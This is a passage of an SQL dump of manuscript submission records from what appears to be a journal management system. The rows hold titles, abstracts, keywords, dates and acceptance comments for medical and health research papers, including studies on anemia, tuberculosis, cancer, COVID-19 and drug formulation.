Ethiopia',388,NULL,'2021-08-06',NULL,'Submitted',2,NULL,'2021-09-03',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(9976,496,45,0,'iphsj-21-9976','The Requirements of Chemical Manufacturing and Control in the Pre-clinical and Clinical Studies of a Potential Drug',NULL,15,0,'','Drug research and development is time-consuming and huge expensive with a high risk and a low success. There is just a little chance to go through the entire process from discovery to clinical studies and eventually bring a drug into the commercial drug market. The chemical manufacturing and control (CMC) plays a critical role in the new drug development and usually accompanies with the entire process from pre-clinical studies to clinical studies, even to commercially marketed drugs. The quality control of products, removal of impurity and the establishment of technological standards during CMC process of production and management can ensure the identity and qualification of the tested drugs and maximally guarantee solid and trustable clinical data which are so significant to evaluate a potential drug and enhance the little valuable chance of the drug to succeed.','Chemical manufacturing and control (CMC), ingredients, drug, pre-clinical, clinical, manufacturing process, quality, stability',643,NULL,'2021-08-07',NULL,'Submitted',2,NULL,'2021-08-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9980,10745,971,0,'ipaclr-21-9980','Role of Weighted Blankets in Improving Pain and Sleep Quality in Patients with Complex Regional Pain Syndrome: A Case Report',NULL,2,0,'','The objective of this case report was to investigate the efficacy of weighted blankets to relieve pain and improve sleep quality in patients diagnosed with Complex Regional Pain Syndrome. This report follows a middle-aged, female patient with Complex Regional Pain Syndrome. This patient reported considerable difficulty sleeping due to their pain. After using a weighted blanket for seven nights, the patient described improved sleep quality and improvement in pain. The use of weighted blankets can provide meaningful pain relief and improve the sleep quality in patients with Complex Regional Pain Syndrome. ','Weighted Blanket, Complex Regional Pain Syndrome, Pain',3249,NULL,'2021-08-07',NULL,'Submitted',4,NULL,'2021-10-22',NULL,1,1,'0','Accept\r\n',0,'','',NULL,0,0,0,NULL,0),(9991,10756,45,0,NULL,'Vaccination Management in Covid – 19 for Indian Subcontinent  (An Empirical Study)',NULL,11,0,'','Covid – 19 has changed our life in almost all possible ways. It forced us to think differently for all known problems that we faced or experienced earlier. All structured problems have suddenly turned unstructured. Scientists, researchers, business personal, government agencies all around the globe have to organize themselves in a distinct and disjoint approach of work culture. The work-from-home culture has become predominant. To save common citizens from such ambience, deep rooted research has been carried to find a vaccine for corona virus. And finally the day has come when people have been given vaccine shots that assure them to minimize the disaster if they eventually get infected. This paper discusses the management of Covid vaccine that has been introduced for Indian masses and how policies can be built up to maximize the vaccine count. Also, an empirical model has been suggested with a supporting decision table to maximize the use of Covid – 19 vaccine.  ','Covid-19, work-from-home, vaccine, corona virus.',686,NULL,'2021-08-09',NULL,'Submitted',4,NULL,'2021-08-19',NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(9998,10763,975,0,'ipjbs-21-9998','Iris recognition for smokers and non-smokers',NULL,9,0,'','Smoking is one of the most common habits around the world and the immediate effect of smoking on the performance of voice recognition systems has been studied in [1]. Smoking is also known as a social issue that can lead to voice deviations, vocal changes, and acoustics complaints, as reported in [1], in which the sub data from the NIST telephone recording database was used. \r\nHowever, no tests have been conducted to investigate the reliability of iris recognition systems for smokers and non-smokers. The purpose of this section is to understand whether the biometrics results are better for non-smokers in comparison with heavy smokers. According to the obtained results, the iris recognition system performed very well for both smokers and non-smokers groups. \r\n','',3460,NULL,'2021-08-09',NULL,'Submitted',2,NULL,'2021-08-20',NULL,1,1,'0','can be publish',0,'','',NULL,0,0,0,NULL,0),(9999,10765,277,0,'ipadm-21-9999','Reporte de casos sobre el uso de ácido tranexámico para reducir el sangrado perioperatorio en liposucción y abdominoplastia ',NULL,2,0,'','Objetivo: Evaluar la efectividad del ácido tranexámico en reducir el sangrado perioperatorio en liposucción y abdominoplastia. \r\nIntroducción: La liposucción y la abdominoplastia son dos de las cirugías estéticas más realizadas en el mundo. Una de las complicaciones más frecuentes de estos procedimientos es el sangrado perioperatorio, el cual puede conllevar a postoperatorios inadecuados y con mayores complicaciones. Por esta razón, se deben buscar nuevos métodos que permitan reducir las pérdidas sanguíneas en este tipo de cirugías. \r\nMateriales y métodos: Se planteó un estudio retrospectivo consistente en un reporte de serie de casos en el que se mencionan un grupo de pacientes a las cuales se aplicó 1 gramo de ácido tranexámico previo a la realización de liposucción y abdominoplastia. En estas pacientes se revisó un hemograma pre quirúrgico y otro post quirúrgico y se comparó la disminución de la hemoglobina y hematocrito. Así mismo, se revisó si las pacientes presentaron la necesidad de transfusión de componentes sanguíneos. \r\nResultados: Se obtuvo una población de 37 pacientes femeninas. Ninguna de las pacientes presentó una hemoglobina postquirúrgica menor de 8 g/dl ni requirió transfusión de hemoderivados después de la cirugía. Se realizó una correlación de Spearman entre las variables, en las cuales no se evidenció asociación entre el lipoaspirado y la hemoglobina o hematocrito postoperatorio.\r\nConclusión: El ácido tranexámico es un medicamento que puede ser útil para reducir el sangrado perioperatorio en liposucción y abdominoplastia, ya que ninguna de las pacientes que recibió este medicamento requirió transfusión de hemoderivados. ','Ácido tranexámico, liposucción, abdominoplastia, hemorragia',4947,NULL,'2021-08-09',NULL,'Submitted',2,NULL,'2022-04-13',NULL,1,1,'1','accepted',0,'','',NULL,0,0,0,NULL,0),(10001,496,45,0,'iphsj-21-10001','The Cytotoxic Molecule Ansamitocin P-3 Suppresses Cell Proliferation and Tumor Growth in Lung Carcinoma',NULL,14,0,'','Lung cancer, mainly including small cell lung cancer (SCLC) and non-small lung cancer (non-SCLC, nSCLC), is a malignant and aggressive one and the leading cause of cancer-related death worldwide. Patients at late stages of lung cancers are usually treated with radiotherapy and chemotherapy. These traditional therapies displayed very limited benefits, with a poor five-year survival rate. The receptor-targeting therapy is becoming a new hot topic. Our previous studies demonstrated the receptor-targeting drug conjugates could enhance the anti-tumor efficacy of the free molecules via linking them to peptide vehicles. Presently, three chemical molecules camptothecin, AP-3 and colchicine were pre-tested for their cytotoxic activities in SCLC A549 cells and non-SCLC NCI-H69 cells. All these molecules displayed their potent effects on cell proliferation and cell apoptosis in both. Especially, AP-3 was extremely more potent than the other two. Our further in vivo assay showed that AP-3 suppressed NCI-H69 tumor growth, but had a limited ability. A new strategy may be needed for AP-3 in SCLC treatment. Meanwhile, We found that somatostatin receptor type II (SSTR2) was highly expressed in SCLC cells, not non-SCLC cells. These findings may provide a golden opportunity to develop a SSTR2-targeting AP-3 somatostatin conjugate for SCLC treatments.','Lung cancer, SCLC, non-SCLC, chemical molecules, ansamitocin P-3 (AP-3), cell proliferation, apoptosis, tumor growth, receptor targeting',643,NULL,'2021-08-10',NULL,'Submitted',2,NULL,'2021-08-24',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(10012,10771,73,0,'ipjnn-21-10012','A Study of how Hydrotherapy affects the brain and its effectiveness on children with varying levels of Autism Spectrum Disorder',NULL,14,0,'','The goal of this research is to test which parts of the brain hydrotherapy triggers and the behaviors linked to each part of the brain. There has been extensive research on potential\r\ndrugs that can benefit Autism, including Risperidone and Balovaptan, as well as music therapy. Hydrotherapy is a fairly novel therapy idea, and there has been some research\r\nconducted on the effectiveness of this therapy without accounting for the functionality of the child. Therefore, this research aims to determine which parts of the brain will receive\r\nblood flow, measured by fMRI, following hydrotherapy and which level of Autism Spectrum Disorder (Autistic Disorder, Asperger’s Syndrome, Pervasive Developmental Disorder) will experience the greatest benefits.','',3314,NULL,'2021-08-10',NULL,'Submitted',16,NULL,'2021-09-08',NULL,1,1,'0','Accept for publication in the journal of Neurology and Neuroscience, it is worth publishing with the current scientific data.',0,'','',NULL,0,0,0,NULL,0),(10017,10776,45,0,'iphsj-21-10017','A case series of Pityriasis rosea-like adverse drug eruption',NULL,2,0,'','Pityriasis rosea (PR) is a benign skin eruption that typically affects children and young adults. In rare cases, similar rash was attributed to several drugs. A retrospective study from 2011 to 2020 to record all cases of drug adverse cutaneous reactions presenting with pityriasis rosea like eruption was made. Diagnosis was based on clinical manifestations, latency period between taking the drug and onset of the skin eruption, exclusion of alternative diagnoses and histopathology findings. The causality assessment was based on the Naranjo Adverse Drug Probability Scale.','Pityriasis rosea, drugs',643,NULL,'2021-08-11',NULL,'Submitted',2,NULL,'2021-08-25',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(10023,10782,91,0,'ijddr-21-10023','Drugs may cause Brain damage',NULL,3,0,'','One of the symptoms of medication and liquor misuse that isn\'t notable is mind harm and injury. Most plugged is the potential for intense harm due to ingest too much or even harm to different organs in the body, for example, liver harm from liquor misuse or heart harm from utilization of energizers. These impacts are absolutely disturbing, and give a lot of inspiration to keeping away from, and treating, chronic drug use and enslavement.','Environment, Energizers, Chronic Drug',2231,NULL,'2021-08-12',NULL,'Submitted',14,NULL,'2021-08-17',NULL,1,1,'1','     ',0,NULL,NULL,NULL,0,0,0,NULL,0),(10028,9240,86,0,'ipaom-21-10028','Prevalence Of Iron Deficiency Anemia And Associated Factors Among Pregnant Women Attending Antenatal Care Follow Up At Dodola General Hospital West Arsi Zone Oromia Region South East  Ethiopia  ',NULL,14,0,'','Abstract: Anemia is defined as reduction in red cell mass which, will decreases oxygen-carrying capacity of red blood cells to tissues that can be determined in the laboratory by reduction in hemoglobin concentration (hemoglobin level of less than 11gm/dl) or hematocrit value is less than 33%.Anemia in pregnant women is often caused by iron deficiency, which is the most common nutrient deficiency in the world, affecting more than two billion people globally. Inadequate intake or absorption of iron conjunction with blood loss during pregnancy may contribute to anemia. Iron deficiency and consequent anemia during pregnancy could be associated with severe complication like increase risks of maternal mortality and morbidity, premature delivery and low birth weight. In pregnant women, an adequate iron status is important to ensure a complication related to pregnancy as well as a normal development of the embryo, fetus and maturity of the new born child. \r\nObjectives: To assess the prevalence of iron deficiency anemia and associated factors among pregnant women attending Antenatal care(ANC) follow up at Dodola General Hospital, West Arsi zone, Oromia Region, south East Ethiopia 2018 G.C\r\nMethods: An institutional based cross-sectional study was conducted from February 5 to March 30,2018G.C. Systematic random sampling technique was employed to select each participant. Data was checked, coded and analyzed by using SPSS version 20 Software, Odds ratio with corresponding 95% confidence interval was used to determine the association between independent and dependent variables. Multivariate logistic regression analysis was performed to determine the independent factors associated with iron deficiency anemia in these pregnant women and finally presented by tables and chart.\r\nResults: The prevalence of iron deficiency anemia was 19.3%. Multivariate logistic regression analysis revealed that pregnant women who had monthly income less than or equal to one thousand birr, Antenatal care visit one times, History of vaginal bleeding, Women who ate only injera with shiro and women who drunks caffeine containing drinks with food during their pregnancy were factors significantly associated  with iron deficiency anemia. \r\nConclusion and Recommendation: The prevalence of iron deficiency anemia among pregnant women in this study was relatively low. The hospitals should give special attention for pregnant women to attend Ante natal care and health professionals should advice the pregnant women on nutrition as well as effects of taking caffeine containing drinks during their pregnancy.','Iron deficiency anemia, Dodola, Pregnant Women, Prevalence',2890,NULL,'2021-08-12',NULL,'Submitted',2,NULL,'2021-08-31',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(10040,10790,251,0,'ipacm-21-10040','Smoking, inflammation and gut microbiota',NULL,3,0,'','Always population-based study the effect of smoking on intestinal flora, found that smokers have diversity than non-smokers, an increase in the abundance of pathogenic or opportunistic pathogens and a decrease in the abundance of beneficial bacteria. However, the research for population screening is not rigorous, there may be bias of disease and living habit, etc. In our study, people with chronic diseases and sub-health were excluded, and personal lifestyle information was collected to explore the effects of smoking on intestinal microflora in healthy people, and to eliminate the bias in exercise and diet.','',3944,NULL,'2021-08-12',NULL,'Submitted',2,NULL,'2021-09-08',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(10055,10803,971,0,'ipaclr-21-10055','DETERMINATION OF EFFICACY AND RELIABILITY OF VARIOUS DISCRIMINATION INDICES IN SCREENING BETA THALASSEMIA TRAIT',NULL,14,0,'','Background: Beta-thalassemia trait (βTT) is a common hemoglobinopathy and imposes a significant burden on the global healthcare. Screening of this disorder is immensely important as it can significantly reduce the future incidence of thalassemia major. This study was conducted in order to evaluate the role of discrimination indices to differentiate cases of βTT from other causes of microcytic anemia.\r\n\r\nMaterials and methods: A single-center study was carried out on 1600 subjects reported during November 2015 to November 2017.Tests for serum iron and ferritin were also conducted in individuals showing low MCV. All the selected samples were subjected to complete blood counts and blood morphology.  Cellulose acetate alkaline electrophoresis and iron profile were carried out to differentiate IDA and beta thalassemia trait. Comparison of various parameters and discrimination indices were calculated for all the samples.\r\n                                                                                                \r\nResults: Shine and Lal index, Mentzer index and red cell distribution width index had revealed better discriminative function compared to England and Fraser index, Srivastava index, and Green and King Index.\r\n\r\nConclusion: Though HbA2 estimation is the gold standard for diagnosing βTT, in developing countries, discrimination indices are rapid, reliable and easy tools to screen cases of βTT and send the subject for further electrophoresis and high performance liquid chromatography evaluation','',3236,NULL,'2021-08-14',NULL,'Submitted',2,NULL,'2021-10-05',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(10059,10807,277,0,'ipadm-21-10059','Eficacia y seguridad de la combinación de dosis fija montelukast-desloratadina 10mg/5mg tableta en adultos mexicanos con rinitis alérgica persistente: Estudio controlado, aleatorizado, doble ciego y multicéntrico.',NULL,14,0,'','La rinitis alérgica persistente (RAP) manifiesta síntomas de forma frecuente y constante. El tratamiento actual de RAP con antihistamínicos y antileucotrienos es recomendado como tratamiento de segunda línea para el alivio de la sintomatología de la enfermedad. Por lo que el objetivo del presente estudio fue comparar la eficacia y seguridad de la combinación de montelukast/desloratadina (MKDES) versus la combinación de montelukast/loratadina (MKLOR) en adultos con diagnóstico de RAP. El presente fue un estudio clínico multicéntrico controlado, prospectivo, longitudinal, aleatorizado, doble ciego, con dos brazos paralelos de tratamiento activo (MKDES 10/5 mg vs MKLOR 10/10 mg) cada 24 horas vía oral durante 6 semanas. La eficacia se estableció mediante la evaluación clínica a través de escalas validadas. Se aleatorizaron 86 pacientes, y de ellos, 74 fueron analizados por protocolo. Los cuestionarios sobre síntomas de la RAP e indicadores de calidad de vida con ambos tratamientos mostraron que más del 90% de los pacientes no presentaron síntomas o solo fueron leves al final del estudio, por lo que ambos tratamientos mejoraron significativamente la sintomatología de la enfermedad. Los eventos adversos presentados en ambos brazos fueron leves a moderados. Finalmente se pudo demostrar que la eficacia de MKDES no es inferior a MKLOR. Por tanto, ambos tratamientos son eficaces y seguros como tratamiento de segunda línea si la monoterapia no ofrece mejoría suficiente.','Montelukast; Desloratadina; Loratadina; Rinitis Alérgica',2805,NULL,'2021-08-15',NULL,'Submitted',2,NULL,'2022-08-19',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(10060,10406,73,0,'ipjnn-21-10060','Vertebral tumour presenting with progressive flaccid paraparesis and areflexia in an adolescent girl ',NULL,2,0,'','Abstract\r\nEwing\'s sarcoma (ES) is a rare malignancy but 2nd most common malignant tumor of long bones after osteosarcoma usually occurring in children and young adults. Rarely it can affect vertebra or spine in adolescent masquarading as a progressive infectious lesion. The spinal ES usually occurs in lumbar vertebrae and presents with progressive neurological deficits in lower limbs. \r\nEwing’s Sarcoma has poor prognosis because of uncontrolled metastatic potential making early diagnosis and intervention critical for survival of the patient. We report here a case of ES in a 14-year-old girl with involvement of lumbar spine with local spread and invasion of cauda equina with radiological, histopathological and immunohistochemical features.','Keywords: Ewing’s Sarcoma, paraparesis, tuberculous spine\r\nround cell tumor, immunohistochemistry',353,NULL,'2021-08-16',NULL,'Submitted',2,NULL,'2021-11-15',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(10100,10845,975,0,'ipjbs-21-10100','To defeat of malignant growth. ',NULL,5,0,'','Malignant growth can be treated by a medical procedure, chemotherapy, radiation treatment, hormonal treatment, designated treatment (counting immunotherapy like monoclonal neutralizer treatment) and manufactured lethality, most generally as a progression of isolated therapies (for example chemotherapy before medical procedure). The decision of treatment relies on the area and grade of the tumor and the phase of the illness, just as the overall condition of the patient (execution status). Malignant growth genome sequencing helps in figuring out which disease the patient precisely has for deciding the best treatment for the malignant growth. Various trial disease medicines are additionally being worked on. Under current assessments, two out of five individuals will have disease eventually in the course of their life.','Malignant, cancer,genome',4089,NULL,'2021-08-17',NULL,'Submitted',2,NULL,'2021-09-04',NULL,1,1,'1','can be publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(10101,10846,975,0,'ipjbs-21-10101','Outline of nerve bladder and its infection',NULL,5,0,'','Gallbladder malignancy happens when typical cells in the gallbladder change and develop wildly, framing a mass called a tumor. A tumor can be generous (non-harmful, for example, a polyp which can possibly become threatening (dangerous) after some time. \r\n\r\nAt the point when gallbladder malignant growth is found at its most punctual stages, the possibility for a fix is awesome. However, more often than not it is found at a late stage when the forecast is frequently exceptionally poor. Likewise, its generally covered up nature makes it simpler for gallbladder disease to develop without being identified.','gallbladder malignant',4089,NULL,'2021-08-17',NULL,'Submitted',2,NULL,'2021-09-04',NULL,1,1,'1','can be publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(10102,10847,45,0,'iphsj-21-10102','Meningitis case report',NULL,2,2,'Pediatric and Child Health','Even though the epidemiology of pediatric pyogenic meningitis has changed, it is still a feared childhood infection because of substantial morbidity and mortality. It is one differential diagnosis of febrile children with altered mental status and other evidence of neurologic dysfunction. It is a severe and life threatening infection of the central nervous system. A delay in treatment is associated with poor outcome and should therefore be avoided. And also up-to-date and individualized holistic quality care is crucial. This case report is prepared from various evidence based articles and guidelines with the aims to aid and facilitate how nurse approach pediatric patients presented with pyogenic meningitis.','',4048,NULL,'2021-08-17',NULL,'Submitted',19,NULL,'2021-08-26',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(10116,3488,277,0,'ipadm-21-10116','Professionalism, methodological training and evidence in neurosurgery: the case of data from observational studies on unruptured aneurysms',NULL,5,0,'','The evidence in neurosurgery has undergone favorable changes in recent times, due to the inclusion of the influence of aspects such as professionalism, opportunities and methodological training, thanks to the objectives set and work developed by the global neurosurgery. Recently, was published a study where the authors make a strong critique of the recommendations of the National Institute Neurological Disorders and Stroke workshop regarding the need for prospective studies with large databases on unruptured intracranial aneurysms. The authors emphasize that the design of randomized clinical trials should be considered primarily, taking into account the risk of bias and the subjectivity of the content to be evaluated2 However, we would like to make some comments on aspects related to professionalism, methodological training and economic limitations, as causes of the low volume of high-quality studies','Professionalism, methodological training, evidence, neurosurgery, observational studies, unruptured aneurysms',4947,NULL,'2021-08-18',NULL,'Submitted',2,NULL,'2021-10-25',NULL,1,1,'0','Accepted!',0,NULL,NULL,NULL,0,0,0,NULL,0),(10119,10503,85,0,'iphspr-21-10119','Importance of Child Health care',NULL,3,0,'','Child health care is very important. Proper care should be taken to the newly born because they are too weak and they are very sensitive to the surrounding environment. Child health care is defined as the medical services provided to them by the health professionals. common child health issues include  allergies, cold, fever, gastro related, hand, mouth and foot diseases, these all are not so serious issues we can treat these at home, every new born child should get vaccinated in order to avoid some diseases like polio, tetanus, flu, measles, whooping cough etc. Now a days childhood obesity is the major problem the basic need of every child are caring controlling, happiness. Almost all babies suffer from chickenpox, cold, sore throats and ear infections in order to avoid these all problems proper diet should be maintained.','health, health care, Ehealth',3413,NULL,'2021-08-19',NULL,'Submitted',2,NULL,'2021-10-08',NULL,1,1,'1','Accepted the publications',0,NULL,NULL,NULL,0,0,0,NULL,0),(10138,10867,959,0,'ipacr-21-10138','Health status and cancer related mortality among nuclear plant workers exposed to ionizing radiation',NULL,14,0,'','Background\r\nThe investigation of potential adverse health effects of occupational exposures to ionizing radiation, on nuclear plant workers, is an important area of research. In this study, we aimed to calculate the incidence and risk of cancer development and mortality during last five years (2015-2019).\r\nMaterial and Methods\r\n456 nuclear industry workers were included into this study (39 cancer patients and 417 healthy. For this cohort, the cancer mortality has been assessed by data obtained from national health registry excluded for the probability of known causes of death. The associations between cumulative occupational radiation exposures (radon, gamma radiation and long-lived radionuclides) and cancer mortality were calculated.\r\nResults\r\nRadon and Gamma exposure was significantly higher among workers who developed cancer [8.4 (0; 3,224.5) vs 19.7 (0; 128.4), p=0.03] and [12.0 (2.1; 110.0) vs 24.5 (0; 470.1), p=0.02]. However, no significant association was found between long-lived radionuclides and risk of cancer (p=0.07).\r\nConclusion\r\nIn conclusion, significant association has been observed between the risk of cancer development and radon and gamma exposure among nuclear industry workers, but no association was found between cancer and long-live nucleoids exposure.\r\n','',2817,NULL,'2021-08-19',NULL,'Submitted',2,NULL,'2021-09-28',NULL,1,1,'1','Accepted for publication',0,'','',NULL,0,0,0,NULL,0),(10139,3488,277,0,'ipadm-21-10139','Post-COVID 19 syndrome: examining phenotypes',NULL,5,0,'','Research on COVID-19 has become perhaps the highest priority for the years 2020 - 2021, due to the impact it will have on all areas of human life. The diagnosis, symptomatological treatment, management of complications and sequelae of COVID-19, are important objectives of clinical and translational research in global public health. Post-COVID 19 syndrome is one of the major questions about the functional prognosis of this group of patients, defined as the persistence or appearance of signs and/or symptoms after the acute phase of the disease, specifically in two time periods, between 4 and 12 weeks and after week 12, and potentially compromising the functional capacity of the individual. This syndrome can occur in young patients as well as in patients with advanced disease, and in those with or without a history of comorbidities. The danger of this syndrome is that this is a time window of risk for developing complications depending on the target organ injury during the acute phase of COVID-19, or by decompensation and worsening of a previous comorbidity','Post-COVID 19 syndrome, Phenotypes, COVID-19',2805,NULL,'2021-08-19',NULL,'Submitted',2,NULL,'2021-10-25',NULL,1,1,'0','Accepted!',0,NULL,NULL,NULL,0,0,0,NULL,0),(10142,10869,45,0,'iphsj-21-10142','Dental caries and oral health status in Georgian autistic patients',NULL,14,0,'','Patients with ASD, especially in children, have obvious problems with managing dental behavior (non-cooperative behavior). In particular, in patients with ASD, the degree of their non-co-operation during dental intervention is 50-72% higher than in children with normal development. The low degree of oral hygiene in patients with this spectrum disorder complicates the prevention of dental diseases, which ultimately contributes to the spread of dental diseases, especially severe periodontal pathologies (Dao LP, et al. 2005).  This process is further facilitated by the lack of adaptation of dental services for patients with ASD in Georgia.\r\nAccording to literature date, dental diseases are common in patients with autism spectrum disorders, in particular, caries, periodontal disease, as well as self-injury due to their behavior, both in the oral cavity and outside. The above diseases have a negative impact on the lives of both healthy children and children with ASD (A. Sheiham, 2006). \r\nWhereas, the manifestations of autism are sharply increased worldwide, within the framework of public health, there is a need for training / retraining of dental clinics and dentists to treat patients with ASD. According to HWO 2013 data, the prevalence of autism was 160: 1 (WHO, 2013), and currently this proportion has changed significantly at the expense of increasing the number of patients and ratio is 59:1. \r\n Due to prevalence of autism has increased dramatically, according to literature data, dental treatment planning should be considered with the patient\'s condition and needs of the individual review, also, adapting the clinic, which will increase the quality of cooperation between the doctor and the patient with ASD. (Centers for Disease Control and Prevention, ASD, 2019) Their fears and emotions should also be taken into account as well, which is a very important factor and complicates the treatment process.\r\n','ASD patient, Caries prevalence, periodontal diseases, Oral Hygiene',692,NULL,'2021-08-19',NULL,'Submitted',2,NULL,'2021-09-02',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(10143,3488,277,0,'ipadm-21-10143','Mental health interest groups in medical schools: a strategy applicable in times of COVID-19 for childrens and adolescents',NULL,5,0,'','The COVID-19 pandemic has affected all areas of human life. One of the most affected age groups consists of children and adolescents, who have had to undergo an abrupt change with respect to social interaction, virtual education, lifestyle, among other factors, which substantially increases the risk of developing neuropsychiatric disorders and compromising the functional capacity of this group. Systematic reviews have reported that social, individual and family vulnerability are factors that influence the severity of symptoms and the development of severe psychiatric disorders','Mental health, interest groups, medical schools, COVID-19, childrens and adolescents',2805,NULL,'2021-08-19',NULL,'Submitted',2,NULL,'2021-10-25',NULL,1,1,'0','Accepted!',0,NULL,NULL,NULL,0,0,0,NULL,0),(10144,10870,45,0,'iphsj-21-10144','Trend and Associated Factors of Mycobacterium Tuberculosis and Rifampicin Resistance in South-west Ethiopia:  Institutional Based Retrospective Study',NULL,14,0,'','ABSTRACT\r\nBackground:  There is scarcity of data on the trends of Mycobacterium tuberculosis and refampicin resistance in southern part of Ethiopia. This study was aimed to assess the trend of pulmonary tuberculosis and refampicin resistance and associated factors among patients in South-west Ethiopia \r\nMethods: Health institution-based retrospective cross-sectional study was conducted at Wolkite town Health center from January 2016 to 2020. Data was collected retrospectively from the GeneXpertâ„¢ TB registration book using a data extraction checklist and directly entered into SPSS version 21 and analyzed. The results were summarized using descriptive statistics, tables, and figures. Bivariate and multi-variant regression analysis was done to measure the association between dependent and independent variables. P values < 0.05 were considered statistically significant.\r\nResult: total of 3286 particpants had complete Gene X-pert MTB/Rif assay result which included in statistical analysis. The overall detection rate of TB was 27.3 %( 899/3286) and the prevalence of TB was higher in males 500(55.6%) than females 399(43.4%). From total of confirmed TB cases, 137 (15.2%) participants developed rifampicin resistance.  Residence, registration type for TB, reason for diagnosis, HIV status and year of TB diagnosis were independent variables significantly associated with outcome variable (Mycobacterium tuberculosis detection) with p<0.05. The significant rifampicin resistance was detected in 2019 which was 70 from total of 137 confirmed rifapamcin cases.\r\nConclusion: In this study, the trends of tuberculosis and rifampicin resistance were great in new registered groups, rural residents and HIV positive individuals. Therefore, maximizing early visit to health institutions and detection of Mycobacterium tuberculosis and enhancing active health education and intervention for tuberculosis are forwarded to reduce the threat of disease. There is still need for active health education campaigns and government intervention.\r\n','Key words: pulmonary Tuberculosis, Rifampicin, associated risk factors, trend, ethiopia \r\n',4912,NULL,'2021-08-19',NULL,'Submitted',2,NULL,'2021-10-08',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(10147,10873,277,0,'ipadm-21-10147','PIE DIABETICO. HERRAMIENTAS PARA LA IDENTIFICACIÓN DEL PIE EN RIESGO Y SU INTERVENCIÓN OPORTUNA.',NULL,15,0,'','Se denomina Pie Diabético a una alteración anatómica o funcional determinada por un proceso crónico a nivel neuropático con o sin presencia de enfermedad vascular periférica caracterizado por infección, ulcera y/o destrucción de tejidos profundos. La principal causa de lesión en el pie diabético es la utilización de un calzado inadecuado, que se sitúa como motivo desencadenante en la mayoría de los casos, es por esta razón que el tratamiento en estos pacientes está condicionado al uso de calzado terapéutico, manejo con medicamentos antibióticos ante la presencia de infecciones, agentes de desbridamiento no quirúrgico, apósitos, oxigenoterapia hiperbárica en pacientes con pobre cicatrización de heridas y en el peor de los casos la amputación no traumática del miembro inferior.','Diabetes Mellitus, Pie Diabético, Infección (DeCS)',2805,NULL,'2021-08-20',NULL,'Submitted',2,NULL,'2022-03-28',NULL,1,1,'0','accept',0,'','',NULL,0,0,0,NULL,0),(10149,10875,85,0,'iphspr-21-10149','Be Hygiene: A way to prevent from various infections',NULL,3,0,'','Individual cleanliness is significant for both health and social reasons. It involves keeping your hands, head and body clean in order to stop the spread of germs and sickness. The social advantages related with individual propensities should likewise be thought of. Since it includes cleaning body each day and really focusing on ourself, it decreases the odds of personal stench and in this way, any odds of humiliation at work or at school.','health, global health, health care',3282,NULL,'2021-08-20',NULL,'Submitted',2,NULL,'2021-10-08',NULL,1,1,'1','Accepted the Article',0,NULL,NULL,NULL,0,0,0,NULL,0),(10150,10875,85,0,'iphspr-21-10150','Impact of  Health Services',NULL,5,0,'','Health services consist of medical professionals, organizations, and ancillary health care workers who provide medical care to those in need. Health administrations make up a significant piece of the public assistance area. Health administrations offices are liable for the general health and prosperity of the networks they serve. While their primary centre is general health, health administrations divisions likewise give treatment and care to individuals from the local area that in any case have no medical care. The field of wellbeing administrations research (HSR) is depended on by decision makers and general society to be the essential wellspring of data on how well wellbeing frameworks in the United States and different nations are meeting this test.','health, global health, Ehealth',3413,NULL,'2021-08-20',NULL,'Submitted',2,NULL,'2021-10-08',NULL,1,1,'1','Accepted the publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(10173,10890,959,0,'ipacr-21-10173','Short Duration of Cancer and Short Duration of Cancer Treatment is Associated with Elevated C Reactive Protein Among Cancer Patients Attending Oncology Unit at the Bugando Medical Centre, Mwanza, Tanzania',NULL,17,0,'','ABSTRACT \r\nBackground: C-reactive protein (CRP) is an acute phase protein of hepatic origin that increases following interlukin-6 secretion by macrophages and T cells. Elevated serum levels of CRP have been associated with an increased risk of cancer and high levels have been recorded in some types of cancer. This study aimed to determine the proportion of cancer patients with elevated serum CRP and associated factors among patients with different types of cancers attending oncology unit at Bugando Medical Center (BMC) in Mwanza Tanzania.\r\nMethods: A cross sectional hospital based study involving 200 cancer patients was conducted from May to July 2019 at BMC, Mwanza Tanzania. Sociodemographic and other relevant information was collected using structured pretested data collection tool. Semi quantitative detection of CRP was done using Agglutination test as per manufacturer’s instructions. Data were analyzed using STATA version 13.0 software.\r\nResults: The mean age of enrolled participants was 50.93±19.22 years. Sixty five participants, (32.5%, 95% CI: 26.0-38.9) were found to have elevated levels of serum CRP. Short duration of cancer (chi2 =8.7268, p=0.013) and short duration of treatment (chi2 =7.507, p =0.023) were significantly associated with elevated serum CRP among cancer patients.\r\nConclusion: Elevated levels of CRP in cancer individuals is associated with short cancer duration (<3 months) and short duration of cancer treatment (<3 months) compared to those with greater than twelve months. These findings support previous studies which showed that CRP can be used as prognostic makers in cancer patients\r\n','C reactive protein, cancer, Oncology, Bugando',2817,NULL,'2021-08-21',NULL,'Submitted',2,NULL,'2021-10-18',NULL,1,1,'1','Accepted for publication',0,'','',NULL,0,0,0,NULL,0),(10174,10891,91,0,'ijddr-21-10174','Design and Development of Lyophilization Cycle for   Polymyxin B for injection 50 mg',NULL,14,0,'','The Lyophilisation is also called as Freeze drying where water can be removed from the product with the application of temperature and vacuum. The process of Lyophilisation consist of three steps freezing, primary drying and secondary drying. In the primary drying unbound water is removed from the product after it is froze when placed under vacuum and in secondary drying the bound water which is associated with the drug molecule can be removed by desorption. Determination of the Critical events is very necessary to design and optimize the lyophilisation cycle. \r\nDifferent studies are involved into the determination of critical events for the design and development of lyophilisation cycle, like FDM, DSC and DTA and impedance analysis. The aim of this study is optimization of the Lyophilisation cycles for Polymixin B using different formulations\r\n','DTA and impedance 